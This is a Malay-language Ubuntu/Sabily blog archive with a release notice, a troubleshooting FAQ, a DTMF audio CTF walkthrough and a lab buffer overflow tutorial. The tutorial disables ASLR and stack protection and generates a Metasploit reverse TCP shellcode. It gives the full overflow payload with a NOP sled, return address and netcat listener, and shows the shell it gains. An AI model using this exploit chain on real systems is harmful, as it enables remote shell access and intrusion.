Custom Search

Sabtu, 6 November 2010

Sabily Al-Quds 10.10 dilancarkan

Assalamualaikum dan salam sejahtera semua,

Sekadar ingin memaklumkan Sabily Al-Quds atau Sabily 10.10 sudah boleh dimuat turun melalui link di bawah

http://88.191.122.107/sabily/10.10/

Maaf kerana sudah lama tak pos apa-apa artikel terbaru dek kesibukan yang teramat sangat. Doakan saya supaya dapat menyelesaikannya seberapa segera untuk membolehkan saya pos beberapa artikel yang tertunggak di blog ini.

Wassalam,

-ak47suk1-

P/S: Kena pertimbangkan tukar banner blog ni sebab Sabily dah tukar logo baru.
P/P/S: Kalau anda ada idea untuk tajuk-tajuk yang menarik untuk pos saya akan datang, boleh beritahu dalam komen :D

Isnin, 30 Ogos 2010

Soalan yang kerap ditanya mengenai Ubuntu/Sabily (Kemaskini 2014-03-13)

# Ada e-book atau manual yg mudah untuk cara2 install Ubuntu?


Manual Ubuntu_web.pdf oleh saudara MelayUbuntu


mirror1 


mirror2

mirror3


# Macam mana saya nak tahu senarai kad yang ada dalam pc saya? Kenapa wireless card/ bluetooth/webcam Ubuntu saya tak detect? Kenapa peranti USB saya x detect?


sebelum menanyakan soalan ini, diharap saudara/i sekalian boleh buka Terminal (Ctrl+Alt+T)


Taip arahan berikut


lspci


untuk senarai kad pci pada pc anda


lsusb


untuk senarai peranti usb

Contoh hasil output dua arahan ini serentak

Kemudian setelah anda tahu jenis kad/model untuk pc anda. Anda boleh google dengan keyword berikut


site:ubuntuforums.org

Contoh:

site:ubuntuforums.org huawei e1550 cannot connect to internet

Kalau penjelasan forum ubuntu itu kurang jelas untuk anda, anda boleh rujuk di grup FB Ubuntu-My Malaysia Loco Team,
forum Ubuntu Malaysia, forum Sumbu.org,  forum TBD.my, dan forum2 lain. Tidak lupa juga Discussion di Page Sabily Untuk Malaysia


# Saya pengguna netbook, bagaimana untuk saya install ubuntu tanpa CD?

Sekiranya anda pengguna Windows:

Guna UNetBootin.

Sekiranya anda ada PC yg sudah dipasang dengan Ubuntu.

Guna System > Administration > Startup Disk Creator

# Ada beberapa harware pc saya Ubuntu tak detect.

Pergi ke System > Administration > Hardware Drivers. tunggu sekejap. Klik activate selepas pilih mengikut perkakasan pc anda.

# Mobile broadband saya ( Huawei XXXX) tak boleh connect internet

Setahu saya celcom manager tak ade versi Linux. Utk connect ke celcom saudara boleh guna dua cara, Network Manager atau wvdial. Untuk gunakan network manager, saudara perlu upgrade ubuntu saudara dengan LAN atau wifi terlebih dahulu sebab utk lucid lynx yg belum upgrade. x de driver utk huawei.

untuk wvdial, saudara boleh rujuk tulisan saya di http://mysabily.blogspot.com/2010/06/tutorial-guna-huawei-e1550-menggunakan.html

# Modem CSL saya tak boleh connect ke internet.

http://syahrilhafiz.com/blog/2010/06/14/cara-sambung-internet-guna-csl-3-5g/



# Kalau nak install semua benda yg biasanya pengguna komputer akan pakai, install ubuntu restricted extras.


Ada 2 cara.


Paling Mudah, pergi ke Applications > Ubuntu Software Center.


search "extras"


Nanti korang akan jumpa pakej "Ubuntu Restricted Extras". Install


lagi satu guna CLI


sudo apt-get install ubuntu-restricted-extras.




# tak boleh update, gagal dapatkan pakej repo


Tukar source repo kat Administration > Software Sources. Kat "Download from:" pilih Other... > Malaysia > archive.mmu.edu.my atau mirror.upm.edu.my




# saya nak tanya, kalau ubuntu 'hang' nak buat macam mana ek? bila jadi camni terpaksa reset pc.. ada cara lain ker? kalau window leh g ke task manager


Right Alt + PrtSc + K


atau


Ctrl + Alt + Backspace


# Pasang sambungan jalur lebar mudah alih dengan menggunakan NetworkManager di Ubuntu


huawei e1550 patut dah auto detect dengan NetworkManager. Cucuk je boleh pakai klik kanan kat ikon NetworkManager patut ada Enable Mobile Broadband.


Kalau ada, klik Edit Connections...


Pergi tab Mobile Broadband


Klik add,


Patut dah nampak Huawei Mobile tu


tekan Forward,


Pilih Malaysia,


Pilih Celcom,


Ok, kat plan ni mungkin ada perubahan. Kalau guna Celcom 3g kena tukar ke 3g.celcom.net.my. Atau cuba guna, default celcom.net.my. Kena rujuk Celcom sendiri untuk APN sebab rasa saya yg baru dah tukar. Kali terakhir saya pakai Celcom 3g.


Klik Apply.


Isi detail username,password (rujuk panduan celcom) dan PIN sim card.


Klik Ok.


Pilihan Celcom broadband ada kat dalam list. klik je. Kalau takde apa2 masalah, dapat connect seperti biasa.


#

Sesiapa ada masalah nak pasang Ubuntu pada Acer Aspire M1641 Desktop, alhamduliLLah ini penyelesaiannya:

. Go to BIOS settings by pressing DEL while the system is booting
. On the BIOS menu go to ADVANCED tab
. On the ADVANCED menu screen go to INSTALLER OS SELECT
....... Under Installer OS Select there is WIndows by default
. Hit Enter and change it to OTHERS
. Hit F10 tey to save new settings and exit BIOS setup

sekadar berkongsi satu solusi...

# sy ada mslh dgn ubuntu... sy terpadam icon sound,wireless n berkaitan dgn sistem mcm mane nk wujud kembali....

klik kanan pada ruang kosong panel

pilih "Add to Panel"

Dwi-klik Indicator Panel
...
Harap penjelasan saya membantu.



# salam
nak tanya skit ni..
kenapa tiba2 ubuntu 10.04 saya ni ada masalah dengan keyboard?
saya kena tekan huruf tu kat keyboard tu 2-3 saat, baru muncul kat screen.



semak di sticky key, slow key dengan bounce key settings di keyboard prefrences.

# salam..nak tnye berkaitn dgn masalah yg same mcm ni ---> http://askubuntu.com/questions/36196/theme-changed-by-itself .. saya da google..tapi x tahu mane satu solution yg betol..harap2 ade yg boleh tolong bntu dn jelaskn :D terima kasih :D


ni may help http://askubuntu.com/questions/21305/desktop-forgets-theme/21324#21324

# Sape tau mcmne nak kasi lajukan speed utk IE kat ubuntu nie...aku kena pakai IE utk keje kat opis...tp dianyer speed slow...x mcm firefox...kalu bleh aku x yah laa pakai windows lg kat opis

lepas aku run rm -rfv ~/.wine dgn winecfg...mcm dah ok speed dia...speed dah sama mcm aku run kat windows...yeay 


Pos ini akan dikemaskini dari masa ke semasa. Anda juga boleh melihat kandungan pos ini di Ubuntu Malaysia LoCo Team dan di halaman Sabily Untuk Malaysia

Selasa, 10 Ogos 2010

I-hack 2010: GerakKerja HnD Puzzle kena_sound.wav

Download puzzle dari sini


http://dl.dropbox.com/u/4707680/puzzlesengal.7z 

MD5: bc87727e049f92262b7d89c808f8f80d

Tools yang diperlukan ( saya guna Ubuntu, jadi saya ambil je yang perlu dari repo). Untuk distro lain, sila guna package manager masing2 :)

Audacity - Editor untuk audio

Multimon - Untuk analisa tone DTMF dan lain2 encoder utk telefon transmisi radio.

Cara install:

Buka Terminal taip

sudo apt-get install audacity multimon




Kalau anda semua mainkan pada pemain audio pc. Anda akan dengar ton DTMF atau dial telefon. Audacity ada generator untuk DTMF tone. Tapi kalau nak decode macam mana pulak?

Di sinilah gunanya multimon.

di Terminal anda taip

man multimon

Dari sini kita boleh baca dokumentasi untuk multimon. Tengok perenggan berikut betul2.


EXAMPLE
Decode signal modulations from a sound file /tmp/message.wav without using a SCOPE display:
multimon -s SCOPE -t wav /tmp/message.wav


nak exit dari manual taip ":q"

kita gunakan arahan berikut:

multimon -s SCOPE -t wav kena_sound.wav

Lihat screenshot di bawah



Nampaknya ada masalah di sini. takkan ffffff tu pulak kan? Cuba kita buka fail tersebut dengan audacity



Buang noise




Buang lagi



Buang kesemuanya





Simpan sebagai apa2 nama yg anda suka



Tekan ok je



Selesai



P/S : Real man don't know antivirus but real man know multimon :D
PP/S: This is NOT A SOLUTION. This is just what I do to get it. There are many ways to get the answer. But, just getting the final answer ONLY does not help you to understand. Go learn yourself the CONCEPT of DTMF instead of just going to get the final answer for this puzzle.

Ahad, 27 Jun 2010

Tutorial Eksploitasi Buffer Overflow Termudah untuk Difahami

(English version of this tutorial will be available soon on kaibathelegacy.blogspot.com)

Penyediaan Box yang Bocor

Bahan-bahannya:

• Ubuntu Lucid Lynx (atau yg lebih lama lagi baik) di dalam VirtualBox atau VMWare. Tak perlu update. Buang perisian yg tak berkenaan jika suka untuk mengurangkan saiz Virtual Machine.

• Install Metasploit pada PC anda (bukan VM, diperlukan untuk generate reverse shell). Muat Turun dari http://www.metasploit.com bersesuaian dengan OS yang menjadi host untuk VM Ubuntu/ Box yang Bocor ini.

• Sekiranya anda Pengguna Windows, pastikan anda sudah ada netcat.exe untuk terima shell dari mangsa (Box yang Bocor). Pengguna distro linux, netcat sudah sedia ada.

Kafiat untuk bermula:


Buka Terminal di Box yang bocor,

anda taip

cat /proc/sys/kernel/randomize_va_space

Pastikan nilainya 0. Sekiranya bukan. Taip

sudo /sbin/sysctl -w kernel.randomize_va_space=0

Periksa nilai randomize_va_space semula.

cat /proc/sys/kernel/randomize_va_space


Contoh Kod yang ada Buffer Overflow
/* Save Kod sebagai mangkuk.c * Nak mudah save di Desktop*Copy kod dari sini*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *string) {

  char buffer[1024];

  strcpy(buffer, string);

  return 1;
}

int main(int argc, char *argv[]) {

  bof(argv[1]);
  printf("Done..\n");

  return 1;
}
/*Sampai la sini*/




Di terminal anda tadi, ikuti langkah berikut.


cd ~/

cd Desktop/

ls -al


Contoh:


[email protected]:~/Desktop$ cd ~/
[email protected]:~$ cd Desktop/
[email protected]:~/Desktop$ ls -al
total 104
drwxr-xr-x 2 saifool saifool 4096 2010-06-25 23:28 .
drwxr-xr-x 25 saifool saifool 4096 2010-06-25 23:23 ..
-rwxr-xr-x 1 saifool saifool 8484 2010-06-24 23:31 bufvulcode
-rw-r--r-- 1 saifool saifool 478 2010-06-24 23:30 bufvulcode.c
-rwxr-xr-x 1 saifool saifool 8811 2010-06-24 23:36 eggcode
-rw-r--r-- 1 saifool saifool 922 2010-06-24 23:35 eggcode.c
-rwxr-xr-x 1 saifool saifool 8297 2010-06-24 23:38 findeggaddr
-rw-r--r-- 1 saifool saifool 129 2010-06-24 23:36 findeggaddr.c
-rwxr-xr-x 1 saifool saifool 550 2010-06-24 21:06 gedit.desktop
-rwxr-xr-x 1 saifool saifool 476 2010-06-24 21:04 gnome-terminal.desktop
-rwxr-xr-x 1 saifool saifool 8611 2010-06-25 21:36 mangkuk
-rw-r--r-- 1 saifool saifool 245 2010-06-24 21:07 mangkuk.c
-rw-r--r-- 1 saifool saifool 3886 2010-06-25 21:56 shellz
-rw-r--r-- 1 saifool saifool 2149 2010-06-25 23:23 shellz2
-rwxr-xr-x 1 root root 9898 2010-06-25 22:55 smashme2
-rw-r--r-- 1 saifool saifool 301 2010-06-25 22:54 smashme2.c
[email protected]:~/Desktop$


Sekarang masa untuk compile code C, mangkuk,c tadi. Kita tak boleh compile kod tersebut cara biasa. Kita kena matikan fungsi StackGuard dlm gcc dan membenarkan execstack.

Contoh:

[email protected]:~/Desktop$ gcc -ggdb -fno-stack-protector -z execstack mangkuk.c -o mangkuk


[email protected]:~/Desktop$ ./mangkuk
Segmentation fault

[email protected]:~/Desktop$ ./mangkuk `perl -e 'print "A"x1000'`
Done..
[email protected]:~/Desktop$ ./mangkuk `perl -e 'print "A"x1024'`
Done..
[email protected]:~/Desktop$ ./mangkuk `perl -e 'print "A"x1200'`
Segmentation fault
[email protected]:~/Desktop$

Apa yang dimaksudkan dengan perintah ./mangkuk `perl -e 'print "A"x1000'` tu? Perintah ini sama dengan A sebanyak 1000 kali sebagai input untuk program mangkuk ini. Untuk mengenal konsep buffer overflow ni dengan lebih mendalam, sila baca rujukan tambahan di bawah artikel ini. Sebab saya lebih fokus untuk mereka yang ingin hands-on dalam memahami buffer overflow ini. Saya cuma akan terangkan secara ringkas sahaja.

Kita lihat kod mangkuk.c tadi.

char buffer[1024];

Saiz buffer yang diperuntukkan ialah 1024 bytes. Tapi tak semestinya bila kita input 1025 bytes, terus ada segmentation fault; salah satu dari tanda-tanda buffer overflow. Kita akan gunakan teknik 'direct jump'. Macam mana nak cari segmentation fault yang benar2 berguna?

Terlebih dahulu, kita akan berkenalan dengan GDB. Di Terminal, taip
gdb mangkuk

Out put seperti di bawah

[email protected]:~/Desktop$ gdb mangkuk
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /home/saifool/Desktop/mangkuk...done.
(gdb)


Di GDB ni, kita boleh lihat struktur dalaman mana2 program yg telah dikompil.

Sila tulis arahan berikut di gdb.


set disassembly-flavor intel

disass main


Contoh output

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048439 <+0>: push ebp
0x0804843a <+1>: mov ebp,esp
0x0804843c <+3>: and esp,0xfffffff0
0x0804843f <+6>: sub esp,0x10
0x08048442 <+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048445 <+12>: add eax,0x4
0x08048448 <+15>: mov eax,DWORD PTR [eax]
0x0804844a <+17>: mov DWORD PTR [esp],eax
0x0804844d <+20>: call 0x8048414
0x08048452 <+25>: mov DWORD PTR [esp],0x8048530
0x08048459 <+32>: call 0x8048350
0x0804845e <+37>: mov eax,0x1
0x08048463 <+42>: leave
0x08048464 <+43>: ret
End of assembler dump.

Anda nampak 0x0804843f <+6>: sub esp,0x10 . 10 dalam asas nombor 16 (HEX) ialah 16 dalam asas nombor 10 (DEC). Maknanya, memori memperuntukkan 1024 (dah declare pada buffer) dan ditambah dengan 16 menjadikan saiz buffer 1040. Walaupun segmentation fault mungkin berlaku, kita tidak dapat mengeksploitasi bug ini dengan baik.


Untuk lebih memudahkan anda semua memahami konsep eksploitasi buffer overflow ini, Sekarang di gdb taip arahan berikut


run `perl -e 'print "A"x1025'`
run `perl -e 'print "A"x1029'`
run `perl -e 'print "A"x1038'`
run `perl -e 'print "A"x1040'`

Contoh Output:

(gdb) run `perl -e 'print "A"x1025'`
Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1025'`
Done..

Program exited with code 01.
(gdb) run `perl -e 'print "A"x1029'`
Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1029'`
Done..

Program exited with code 01.
(gdb) run `perl -e 'print "A"x1038'`
Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1038'`

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) run `perl -e 'print "A"x1040'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1040'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

" Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? "

ini bermaksud EIP (Extended Instruction Pointer) adalah pada 0x41414141 yang tidak wujud. Sebab itu ada ralat. Kita perlu gantikan dengan alamat yg wujud di mana pada alamat itu kita akan letak shellcode iaitu sebuah reverse shell yg membolehkan kita mengakses terminal Box yang Bocor dari host kita.

Persediaan Shellcode

Anda sudah memasang Metasploit pada host anda? Jika sudah. Sila Buka Terminal dan taip

msfweb
Tunggu seketika sehingga output seperti ini keluar

[email protected]:~/Desktop$ msfweb
[*] Warning: As of Metasploit 3.3 this interface is no longer supported:
Please see https://metasploit.com/redmine/issues/502


[*] Starting msfweb v3.4.1-dev on http://127.0.0.1:55555/

config.gem: Unpacked gem rack-1.0.1 in vendor/gems has no specification file. Run 'rake gems:refresh_specs' to fix this.
=> Booting WEBrick
=> Rails 2.3.5 application starting on http://127.0.0.1:55555
[*] Initializing the Metasploit Framework...
[*] Initialized the Metasploit Framework
=> Call with -d to detach
=> Ctrl-C to shutdown server
[2010-06-27 20:18:55] INFO WEBrick 1.3.1
[2010-06-27 20:18:55] INFO ruby 1.9.1 (2009-07-16) [x86_64-linux]
[2010-06-27 20:18:55] INFO WEBrick::HTTPServer#start: pid=23567 port=55555

Sekarang buka firefox,chrome atau mana2 browser pilihan anda. Lawati http://localhost:55555

Pilih Payloads.

Cari "x86" pada textbox. Pilih Linux Command Shell, Reverse TCP Inline.

Ada input yang perlu anda masukkan.

LHOST (ip local host anda, sebagai contoh local ip saya): 192.168.1.2

LPORT (port listening netcat anda, ikut je contoh saya): 12345

Max size: 96

Kemudian , klik Generate.

Anda akan nampak output seperti ini

/*
* linux/x86/shell_reverse_tcp - 96 bytes
* http://www.metasploit.com
* Encoder: generic/none
* NOP gen: x86/single_byte
* LHOST=192.168.1.2, LPORT=12345, ReverseConnectRetries=5,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52"
"\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53"
"\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8"
"\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43"
"\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x89\xe1\xb0\x0b\xcd\x80";


shellcode anda mungkin berbeza disebabkan perbezaan local ip atau yg lain. Sekarang kita perlu ubah ini

"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52"
"\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53"
"\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8"
"\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43"
"\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x89\xe1\xb0\x0b\xcd\x80";

menjadi seperti ini

\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


Sekarang untuk percubaan mengeksploitasi bug ini, kita akan gunakan konsep berikut.

[ A x 600] [NOP x340] [Shellcode 96] [BBBB] = 1040

Ok di dalam gdb, taip arahan berikut:

run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

Contoh Output:

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)


Cantekkk. 0x42424242 yg bersamaan dengan "BBBB" betul2 berada di EIP yang kita boleh letak address yang menghala ke shellcode kita.

Sebelum itu di host anda (bukan Box yang Bocor), taip
nc -l 12345 -vv

Sekiranya tidak berjaya/error netcat


nc -l -p 12345 -vv

Command netcat ini digunakan untuk menerima shell dari Box yang bocor.


Kembali semula ke Box yang bocor, di gdb, taip
(gdb) x/2000xb $esp

Tekan Enter sampai selesai.

Contoh Output:
..dipotong....
0xbffff468: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff470: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff478: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff480: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff488: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff490: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff498: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4b8: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
---Type to continue, or q to quit---
...dipotong....

Skroll sehingga anda nampak deretan 0x41 yang bermaksud "A" dan deretan "0x90" ataupun NOP. Sila pilih address pada NOP sebagai return address untuk shell anda. Sebagai contoh saya pilih 0xbffff4d8. Address anda kebarangkalian besar berbeza dengan address saya. Pilih mana2 address 0x90 selepas deretan 0x41. elakkan memilih address yg hujungnya 00. Yang tiada angka sifar lebih baik.

Kita perlu tukar kepada format little endian utk membolehkan alamat ini diexecute oleh program.

Contoh:

0xbffff4d8

tukar jadi

bf ff f4 d8

tukar jadi

d8 f4 ff bf

\xd8\xf4\xff\xbf


Sekarang kita gantikan "BBBB" dengan "\xd8\xf4\xff\xbf" atau address anda.

Di gdb, masa untuk mengeksploitasi

arahan ini

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

Kita tukar jadi

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`


Sekiranya tiada masalah

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`
process 3371 is executing new program: /bin/dash

Sila lihat netcat anda, contoh output

[email protected]:~/Desktop$ nc -l 12345 -vv
Connection from 192.168.1.5 port 12345 [tcp/*] accepted

Voila! anda sudah dapat shell. Sekarang mari kita cuba guna arahan linux ini


echo "ID mangsa:";whoami;echo "ID penuh:";id;echo "Folder sekarang:"; pwd;echo "Kernel Linux:"; uname -a;echo "Maklumat Distro:"; lsb_release -a;exit

Contoh output:

ID mangsa:
saifool
ID penuh:
uid=1000(saifool) gid=1000(saifool) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(saifool)
Folder sekarang:
/home/saifool/Desktop
Kernel Linux:
Linux saifool-laptop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
Maklumat Distro:
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 10.04 LTS
Release: 10.04
Codename: lucid

Sekarang kita cuba eksploitasi tanpa gdb dengan melaksanakan program mangkuk dengan akses root :D


(gdb) q

[email protected]:~/Desktop$ sudo su
[email protected]:/home/saifool/Desktop# ./mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`
Segmentation fault
[email protected]:/home/saifool/Desktop#


Oppps, error. Kenapa ye? Sebab return address bertukar. Sekarang kita ulangkaji balik untuk mencari return address untuk root

sebagai root, di terminal taip


gdb mangkuk

